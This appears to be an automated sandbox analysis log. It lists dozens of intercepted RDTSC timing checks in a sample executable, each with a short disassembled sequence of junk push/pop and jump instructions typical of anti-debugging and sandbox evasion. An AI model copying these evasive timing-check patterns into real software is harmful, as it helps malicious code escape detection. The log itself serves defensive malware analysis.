Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEF8A second address: 6AEFB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 jl 00007F9AD4C553B6h 0x0000000c pop eax 0x0000000d pushad 0x0000000e jmp 00007F9AD4C553C8h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEFB2 second address: 6AEFB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEFB8 second address: 6AEFC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AF3B7 second address: 6AF3CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD51D02ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jo 00007F9AD51D02ACh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B3CDA second address: 6B3CE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B43FE second address: 6B4402 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B3A25 second address: 6B3A2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F9AD4C553B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B484F second address: 6B4855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4855 second address: 6B488C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9AD4C553C7h 0x0000000b push edi 0x0000000c push esi 0x0000000d pop esi 0x0000000e jmp 00007F9AD4C553C3h 0x00000013 pop edi 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B488C second address: 6B4894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B49B9 second address: 6B49BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B49BF second address: 6B49C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B49C3 second address: 6B49E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD4C553BDh 0x00000007 js 00007F9AD4C553B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 jg 00007F9AD4C553B6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B49E3 second address: 6B49E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B9124 second address: 6B9128 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B9386 second address: 6B938A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B94FB second address: 6B94FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B98FB second address: 6B9907 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jg 00007F9AD51D02A6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B9907 second address: 6B990B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B9A56 second address: 6B9A5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B9A5C second address: 6B9AC7 instructions: 0x00000000 rdtsc 0x00000002 js 00007F9AD4C553CAh 0x00000008 jmp 00007F9AD4C553BEh 0x0000000d jne 00007F9AD4C553B6h 0x00000013 pushad 0x00000014 jmp 00007F9AD4C553BEh 0x00000019 jnp 00007F9AD4C553B6h 0x0000001f push esi 0x00000020 pop esi 0x00000021 jmp 00007F9AD4C553C7h 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 pushad 0x0000002a push ecx 0x0000002b pushad 0x0000002c popad 0x0000002d jmp 00007F9AD4C553C1h 0x00000032 pop ecx 0x00000033 push eax 0x00000034 push edx 0x00000035 jp 00007F9AD4C553B6h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C083A second address: 6C0840 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C0840 second address: 6C0849 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C0849 second address: 6C0850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C0850 second address: 6C0855 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C0855 second address: 6C086F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop eax 0x00000007 jmp 00007F9AD51D02ADh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C086F second address: 6C0875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C09EC second address: 6C09FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AD51D02ADh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3863 second address: 6C389C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD4C553C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9AD4C553C6h 0x00000011 pushad 0x00000012 jp 00007F9AD4C553B6h 0x00000018 push eax 0x00000019 pop eax 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C8554 second address: 6C855D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C855D second address: 6C8563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C8563 second address: 6C8567 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C7EB7 second address: 6C7EBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C7EBD second address: 6C7EC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C7EC1 second address: 6C7EDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9AD4C553C0h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C7EDB second address: 6C7EDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C8017 second address: 6C8029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9AD4C553BDh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB7D3 second address: 6CB7DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F9AD51D02A6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB7DE second address: 6CB7E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB7E6 second address: 6CB7EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB902 second address: 6CB906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D05CA second address: 6D05E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F9AD51D02A6h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007F9AD51D02A6h 0x00000013 je 00007F9AD51D02A6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D05E3 second address: 6D05E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D0761 second address: 6D0766 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D0895 second address: 6D08AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 jmp 00007F9AD4C553BCh 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D08AA second address: 6D08D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9AD51D02B3h 0x00000008 js 00007F9AD51D02A6h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 jnp 00007F9AD51D02A6h 0x0000001c pop esi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D08D5 second address: 6D08E3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jc 00007F9AD4C553B6h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D08E3 second address: 6D08E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6802A9 second address: 6802B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F9AD4C553B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6802B3 second address: 6802B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6802B7 second address: 6802C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6802C5 second address: 6802C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6802C9 second address: 68033A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD4C553C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a nop 0x0000000b or edx, 10D2D806h 0x00000011 push 00000004h 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007F9AD4C553B8h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 00000015h 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d nop 0x0000002e push ebx 0x0000002f jnc 00007F9AD4C553C9h 0x00000035 pop ebx 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F9AD4C553C6h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D0EAE second address: 6D0ECD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a jmp 00007F9AD51D02B2h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3308 second address: 6D3312 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DB3F6 second address: 6DB415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9AD51D02B8h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DB415 second address: 6DB419 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D9742 second address: 6D9746 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D9746 second address: 6D9750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D9750 second address: 6D9756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DA4E1 second address: 6DA4E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DA4E6 second address: 6DA4EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DAA5D second address: 6DAA63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E2FBD second address: 6E2FC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E2FC2 second address: 6E2FD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edi 0x00000008 jng 00007F9AD4C553B6h 0x0000000e pop edi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E32BA second address: 6E32BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E3532 second address: 6E353E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F9AD4C553B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ECCD0 second address: 6ECCEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9AD51D02B8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB040 second address: 6EB045 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB045 second address: 6EB04A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB04A second address: 6EB050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB050 second address: 6EB075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007F9AD51D02A6h 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F9AD51D02AFh 0x00000013 jbe 00007F9AD51D02A6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB314 second address: 6EB32C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AD4C553C3h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB32C second address: 6EB349 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9AD51D02B2h 0x00000008 jc 00007F9AD51D02A6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB472 second address: 6EB48E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9AD4C553C6h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB48E second address: 6EB493 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB493 second address: 6EB4A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jno 00007F9AD4C553B6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB4A2 second address: 6EB4A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB4A6 second address: 6EB4CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F9AD4C553C8h 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB4CA second address: 6EB4D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB61D second address: 6EB631 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007F9AD4C553BAh 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB8CE second address: 6EB8D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB8D2 second address: 6EB8F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F9AD4C553C7h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB8F1 second address: 6EB909 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9AD51D02B2h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EBD4A second address: 6EBD50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F2765 second address: 6F2769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F2769 second address: 6F276D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F276D second address: 6F278B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F9AD51D02A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d js 00007F9AD51D02A6h 0x00000013 jmp 00007F9AD51D02AAh 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F21BD second address: 6F21D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9AD4C553BCh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F21D5 second address: 6F21E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AD51D02ABh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F21E4 second address: 6F2204 instructions: 0x00000000 rdtsc 0x00000002 je 00007F9AD4C553B6h 0x00000008 jmp 00007F9AD4C553C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FDE2C second address: 6FDE34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FDF90 second address: 6FDFBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AD4C553BBh 0x00000009 jns 00007F9AD4C553B6h 0x0000000f popad 0x00000010 jnl 00007F9AD4C553BEh 0x00000016 popad 0x00000017 push esi 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FDFBA second address: 6FDFC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7109AA second address: 7109B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F9AD4C553B6h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7152F8 second address: 715308 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F9AD51D02A6h 0x0000000a jns 00007F9AD51D02A6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715308 second address: 71534D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F9AD4C553BEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F9AD4C553C3h 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F9AD4C553C5h 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 718C6E second address: 718C74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
